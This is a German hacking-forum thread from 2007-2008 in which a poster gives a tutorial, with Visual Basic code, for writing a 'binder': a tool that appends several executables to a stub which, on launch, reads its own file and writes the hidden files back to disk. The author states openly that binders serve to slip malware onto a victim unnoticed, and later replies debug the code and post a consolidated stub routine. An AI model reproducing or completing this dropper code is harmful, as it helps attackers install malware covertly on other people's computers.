[Text] Binder programmieren für Fortgeschrittene Verfasst am: 16.03.2007, 19:03
Thema: Wie funktioniert ein Binder
Hi Leute.
Heute zeige ich euch eine einfache Variante eines Binders.
Wer noch nicht den Artikel „Builder programmieren für Anfänger“ gelesen hat, sollte das zuerst tun.
Als erstes möchte ich euch gleich mal sagen, das ich hier hauptsächlich die Theorie erklären werde und keinen kompletten source posten werde.
Solange man verstanden hat wie der Builder programmiert wird, ist es auch kein Problem diesem Artikel zu folgen und ihn umzusetzen.
1. Grundidee
Was macht ein Binder und wie funktioniert er?
Einen Binder benutzt man um mehrere Dateien in einer zu vereinen.
Gebraucht wird das normal, weil man jemandem Schadprogramme unterjubeln möchte ohne dass er bemerkt dass sich im Hintergrund diese Schadprogramme installieren.
Gängige Variante ist es, dass ein normales Programm sichtbar gestartet wird und die Schadprogramme unsichtbar.
Funktionieren tut unsere Variante so, dass der Binder einfach alle Dateien an eine stub hängt, bzw. hinten dran schreibt.
Man benötigt also wieder eine stub Datei, die diese Daten beim starten ausliest und dann auf der Festplatte erstellt.
Was benötigen wir also?
1. Binder
2. stub(server)
Na gut. Das ist ja schon klar. Aber was benötigt der server an Informationen um die gebundenen Dateien wieder voneinander trennen zu können?
Ganz einfach.
1. Wir brauchen die Positionen vom Anfang und Ende jeder Datei, bzw. wie groß die Datei ist.
Also wie fügen wir jetzt die Files + die nötigen Infos an den server?
Als erstes brauchen wir eine Schleife zum anhängen der Files.
Code:
For i = 1 To Listvew1.ListItems.Count
file = ListView1.ListItems(i).Text
Open stub For Binary As #1
Open file For Binary As #2
Buffer = Space(LOF(2))
Get #2, , Buffer
Put #1, LOF(1) + 1, Buffer
Close
Next i
Die For Schleife hängt jetzt solange files an die stub bis sie am Ende des ListViews angekommen ist. Ich geh jetzt mal davon aus, das ihr die Dateipfade in ein ListView eintragen werdet. Wer sich damit nicht auskennt sollte die Artikel dazu lesen.
Nun haben wir alle Files angehängt. Jetzt wollen wir am Ende noch einen String mit den ganzen Infos anhängen, wo die Files anfangen und wie groß sie sind, damit wir sie später wieder auslesen können.
Dazu müssen wir aber noch etwas in die Schleife oben einbauen.
Code:
start(i) = (LOF(1) + 1)
byte(i) = LOF(2)
Dies ist eine Möglichkeit wie man das lösen kann. Ihr könnt das natürlich machen wie ihr wollt.
Ich benutze hier einfach zwei Arrays, in denen dokumentiert wird wie groß die gerade geöffnete Datei ist und ihre Anfangsposition wenn sie an die stub angefügt wurde.
Wer sich mit Arrays nicht auskennt, sollte sich zuerst mal darüber informieren.
Ihr werdet auch den Befehl ReDim benötigen.
Nun habt ihr also die Infos aller Dateien in zwei Arrays.
Jetzt fügen wir das alles zu einem String zusammen, den wir dann ans Ende der Datei hängen wie beim Builder.
Code:
Dim options as string * 100
Dim options2 as string
options2 = ListView1.ListItems.Count & "#"
For i = 1 to ListView1.ListItems.Count
options2 = options2 & start(i) & "#" & byte(i) & "#"
Next i
options = options2
Ganz am Anfang hab ich noch den eingefügt, wieviele Dateien insgesamt gebunden wurden.
Diese Information brauchen wir beim server für die For Schleife zum entpacken der Files.
Diesen string hängt man jetzt einfach hinten dran.
Options ist jetzt nur 100Bytes groß. Das heißt es gibt eine gewisse Grenze wieviel ihr einfügen könnt. Wie man das so programmiert, dass die Größe dynamisch ist müßt ihr euch selbst überlegen.
3. Im Server die Infos wieder auslesen
Nun brauchen wir nur den string vom Ende auslesen und haben schon die ganzen Infos zum entpacken.
Code:
Dim options as string * 100
Dim cmd() as string
Open (app.path & "\" & app.exename & ".exe") For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close
Jetzt haben wir alle Infos in cmd().
Etwa so müsste es jetzt aussehen:
cmd(0) ist Die Anzahl der Files die wir gebunden haben
cmd(1) Anfang der ersten Datei
cmd(2) Größe der ersten Datei
cmd(3) Anfang der zweiten Datei
cmd(4) Größe der zweiten Datei
Und so weiter.
4. Files auslesen
Jetzt holen wir uns die Files.
Code:
For i = 1 To (cmd(0) * 2) Step 2
Dim file as string
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Open ("Pfad zum erstellen der Datei") For Binary As #2
file = Space(cmd(i + 1))
Get #1, cmd(i), file
Put #2, , file
Close
Next i
So werden jetzt also die Files entpackt und erstellt. Es fehlt aber noch der Pfad zu jeder Datei. Entweder ihr lasst euch etwas Eigenes einfallen, oder ihr hängt einfach den Pfad mit dem Builder an und lasst ihn dann ebenfalls auslesen.
Das war es mal wieder.
Wenn ihr Fragen habt, könnt ihr die gerne hier stellen.
Hoffe dass es soweit verständlich ist, wie ein Binder funktioniert.
mfg, ZiG
PS: Wenn ihr einen Fehler entdeckt, meldet mir das bitte. _________________
Zuletzt bearbeitet von ZiG_ am 31.07.2007, 18:40, insgesamt 5-mal bearbeitet
raptor0576_ Tutorial Leser
Anmeldedatum: 19.05.2007 Beiträge: 20
problem Verfasst am: 30.07.2007, 20:24
du hast ein paar bugs drin aber thx...
Zuletzt bearbeitet von raptor0576_ am 30.07.2007, 21:49, insgesamt einmal bearbeitet
TeBulba_ Newbie
Anmeldedatum: 30.07.2007 Beiträge: 3
Verfasst am: 30.07.2007, 21:36
[code]stub = "C:\stub.txt"
Dim buffer As String
For i = 1 To lv.ListItems.Count
file = lv.ListItems(i).Text
Open stub For Binary As #1
Open file For Binary As #2
buffer = Space(LOF(2))
Get #2, , buffer
Put #1, LOF(1) + 1, buffer
Close
Next i[/code]
so funktioniert der auch..
files an stub anhängen und nicht anders rum
raptor0576_ Tutorial Leser
Anmeldedatum: 19.05.2007 Beiträge: 20
danka Verfasst am: 30.07.2007, 21:50
thx
aber hab ein prob mit der stub...
Zitat:
Function cmd()
cmd() = Split(options, "#")
End Function
Dim options As String * 100
Open (App.Path & " \ " & App.EXEName & ".exe") For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close
For i = 1 To (cmd(0) * 2) Step 2
Dim file As String
file = "C:\"
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Open (file) For Binary As #2
file = Space(cmd(i + 1))
Get #1, cmd(i), file
Put #2, , file
Close
Next i
End Sub
bekomme immer "runtime error : path not found" angezeigt...
ich schätze mal ,das du solche Sachen nicht in der Entwicklunsumgebung ausführen kannst, du musst vorher die .exe date erstellen ,sonst kann VB auch nich auf sie zugreifen. _________________ Wie findet ihr meine Sig?
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 31.07.2007, 12:15
@TeBulba
Thx. Hab ich ganz übersehen. Habs editiert.
@raptor0576
Bei der Zeile
[code]file = "C:\" [/code]
Mußt du natürlich den kompletten Pfad eingeben wo die Datei erstellt werden soll.
Sollte dann eigentlich funktionieren.
mfg _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
raptor0576_ Tutorial Leser
Anmeldedatum: 19.05.2007 Beiträge: 20
^^123 Verfasst am: 31.07.2007, 14:50
hm...
also 1 ich hab auch and die entwicklungsumgebung gedacht und natürlich auch die progs compiliert
aber funzt trotzdem nicht. und des mit dem pafd verstehe ich nicht...
ich dachte der pfad wär des wo die angehängten dateien "extrahiert" werden sollen, oder nicht?
weil dann wär es nähmlich iwie dumm wenn man noch ne komplette datei angeben muss... oder wie jetzt?!
//edit
ich habs mit dem pfad versucht... hat aber auch nicht geklappt....
kann wer pls den kompletten code für die stub posten?
thx schonmal
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 31.07.2007, 16:26
Du brauchst doch nur die zwei codes des servers in einer Sub zusammenfügen.
[code]
Private Sub Form_Load()
Dim options As String * 100
Dim cmd() as string
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
Close
For i = 1 To (cmd(0) * 2) Step 2
Dim file As String
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Open ("Pfad zum erstellen der Datei + Dateiname") For Binary As #2
file = Space(cmd(i + 1))
Get #1, cmd(i), file
Put #2, , file
Close
Next i
End Sub
[/code]
Ich versteh nicht ganz was da so schwer ist.
Der Pfad sollte auch den Dateinamen enthalten. Nur "C:\" reicht eben nicht.
Und die Function "cmd()" von dir ist auch falsch. Hab ich vergessen genau hinzuschreiben. Du mußt cmd() als string deklarieren. Habs dir oben im Code eingefügt.
mfg _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
raptor0576_ Tutorial Leser
Anmeldedatum: 19.05.2007 Beiträge: 20
ty Verfasst am: 31.07.2007, 17:40
ty @ ZiG for support!
hab noch ein prob!
ich will an die stub noch eine information anhängen... das ist ja kein problem aber ich weis net genau wie ich die stub umschreiben muss damit sie alle dateien richtig entpackt...
kann wer pls die erste zeile genau erläutern, also warum * 2 und - 1 gerechnet wird?:
Code:
x = (cmd(0) * 2) - 1
For i = 1 To x Step 2
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Open (App.Path & "\" & number & ".exe") For Binary As #2
file = Space(cmd(i + 1))
Get #1, cmd(i), file
Put #2, , file
Close
Next i
also mir gehts halt darum wie ich den code ändern muss weil ich jetzt ja 3 infos hinten dran hab...
im prinzip gehts dabei glaub nur um die ersten 2 zeilen und wie ich dann halt die dritte info abfragen kann...
mfg
//edit
ist schon okay habs schon raus!
schei bugs
mfg
Zuletzt bearbeitet von raptor0576_ am 02.08.2007, 18:26, insgesamt einmal bearbeitet
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 02.08.2007, 17:50
Diese Methode zum auslesen der Daten hab ich nur für dieses Tutorial gewählt.
Normalerweise mache ich das anders.
Aber zuerst erklär ich dir mal was diese Zeile bedeuted.
[code]
x = (cmd(0) * 2) - 1
[/code]
In cmd(0) steht drinnen wieviele Dateien miteinander gebindet wurden. Diese Info wird beim Builder mit angehängt.
Im ganzen ist das so aufgebaut:
Code:
cmd(0) = Information wieviele Dateien insgesamt gebindet wurden
cmd(1) = Wo fängt die erste Datei an
cmd(2) = Wie groß ist die erste Datei
cmd(3) = Wo fängt die zweite Datei an
cmd(4) = Wie groß ist die zweite Datei
Du siehst also, dass immer zwei Information zusammen gehören, also zu einer Datei.
Ist ja auch logisch. Wir müssen ja wissen wo wir anfangen sollen zum auslesen und wieviel wir auslesen müssen.
Als Beispiel gehen wir jetzt mal davon aus, dass 2 Dateien gebindet wurden.
Nun steht also in cmd(0) die Zahl "2".
In der Zeile
[code]x = (cmd(0) * 2) - 1 [/code]
wird also 2*2-1 gerrechnet. x ist also 3. Diese Information brauchen wir für die Schleife zum auslesen.
[code]
For i = 1 To x Step 2
[/code]
Die Schleife fängt also bei 1 an. Darin steht die Anfangspoition der ersten Datei, die wir auslesen wollen. "Step 2" bedeuted, das die Schleife immer gleich um 2 erhöht wird.
i=1 steht jetzt dort und wird dann um 2 erhöht. Ist dann also 3.
Bei cmd(3) steht dann die Anfangsposition der zweiten Datei. Und so weiter und so weiter. Wenn ich "x" vorher nicht minus 1 rechnen würde, dann würde die Schleife nocheinmal durchlaufen wollen und einen Fehler verursachen, da es cmd(5) nicht gibt.
Soviel mal zu dieser Methode.
Aber ich erkläre dir auch gerne wie ich es mache.
Ich benutze verschiedene Trennungszeichen um die Informationen besser aufsplitten zu können.
Im Tutorial sieht das so aus:
Wenn man jetzt bei dem Rautezeichen(#) splitted hat man alle Informationen in einem Array. Das ist dann natürlich nicht so leicht zu verarbeiten. Besonders wenn man viele Information auslesen muß.
Ich habe also schonmal alle Datein voneinander getrennt.
Um an die einzelnen Informationen zu kommen muß man dann nur nochmal bei dem Prozentzeichen splitten.
mfg, ZiG _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Nemesis_ Newbie
Anmeldedatum: 09.02.2008 Beiträge: 2
Verfasst am: 06.04.2008, 18:01
ZiG hat Folgendes geschrieben:
Thema: Wie funktioniert ein Binder
Nun haben wir alle Files angehängt. Jetzt wollen wir am Ende noch einen String mit den ganzen Infos anhängen, wo die Files anfangen und wie groß sie sind, damit wir sie später wieder auslesen können.
Dazu müssen wir aber noch etwas in die Schleife oben einbauen.
Code:
start(i) = (LOF(1) + 1)
byte(i) = LOF(2)
Dies ist eine Möglichkeit wie man das lösen kann. Ihr könnt das natürlich machen wie ihr wollt.
Ich benutze hier einfach zwei Arrays, in denen dokumentiert wird wie groß die gerade geöffnete Datei ist und ihre Anfangsposition wenn sie an die stub angefügt wurde.
Wer sich mit Arrays nicht auskennt, sollte sich zuerst mal darüber informieren.
Ihr werdet auch den Befehl ReDim benötigen.
Ich schaff den Teil einfach nicht....
für was zur hölle brauch ich redim....
wieso bringt er mir nen fehler wenn ich den code so schreib:
For i = 1 To Listvew1.ListItems.Count
file = ListView1.ListItems(i).Text
Open stub For Binary As #1
Open file For Binary As #2
Buffer = Space(LOF(2))
Get #2, , Buffer
Put #1, LOF(1) + 1, Buffer
start(i) = (LOF(1) + 1)
byte(i) = LOF(2)
Close
Next i
meiner denkweise nach sollte er den anfang und das ende ja einfach start(i(also 1,2,3...)) zuweisen und das nachher im nächsten teil wieder abrufen aber er gibt mir den fehler "bad file name or number"
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 06.04.2008, 18:27
Mit "Redim" kannst du die Größe eines Arrays nochmals verändern.
"Dimensionieren".
Also ich lasse als Beispiel in den Arrays "start" und "byte" die Informationen über Größe der angehängten Datein und wo sie in der fertigen Datei anfängt speichern.
Nur mußt du voher bestimmen wieviele Daten in die Arrays kommen sollen.
Und wieviele? Ganze einfach. Soviele wie Dateien in der Liste sind.
Redim start(1 to ListView1.Listitems.Count)
Das andere Array genauso.
Jedenfalls sollte das so stimmen. Habs nur mal überflogen.
Zu deinem Error:
In der Liste sollte natürlich der komplette Pfad zu Datei stehen, sonst kann er die Dateien nicht öffnen.
Btw. hast du auch nen Schreibfehler. "Listvew1" _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Nemesis_ Newbie
Anmeldedatum: 09.02.2008 Beiträge: 2
Verfasst am: 06.04.2008, 20:24
thx für den support
Also es klappt jetzt besser aber der error kommt net vom schreibfehler den hab ich nich gemacht ich hab einfach den text vom ersten post kopiert da ich auf nem anderen pc code...
Ich weiss immernoch nich woher der Error kommt also wenn ich es so schreib:
For i = 1 To Listvew1.ListItems.Count
file = ListView1.ListItems(i).Text
Open stub For Binary As #1
Open file For Binary As #2
Buffer = Space(LOF(2))
Get #2, , Buffer
Put #1, LOF(1) + 1, Buffer
start(i) = (LOF(1) + 1)
byte(i) = LOF(2)
Close
Next i
bringt er eben den error "bad filename or number" aber wenn ich LOF durch was anderes ersetze dann kommt der error nich also z.b. so:
For i = 1 To Listvew1.ListItems.Count
file = ListView1.ListItems(i).Text
Open stub For Binary As #1
Open file For Binary As #2
Buffer = Space(LOF(2))
Get #2, , Buffer
Put #1, LOF(1) + 1, Buffer
start(i) = "test"
byte(i) = "test2"
Close
Next i
auch wenn ich LOF durch ne msgbox aufrufen will kommt der error... _________________
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 06.04.2008, 20:49
Ich schätze mal das du einen Pfad nicht korrekt übergibst.
Edit//
Oder frag halt LOF(2) nur einmal ab und speichere es in einer Variable zwischen.
Dann kannst du die weiter verwenden.
Problem könnte evt. der gleich danach folgende Close Aufruf sein.
Sollte zwar kein Prob sein, aber ist mir halt aufgefallen.
Evt. mal ein DoEvents dazwischen einbauen. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)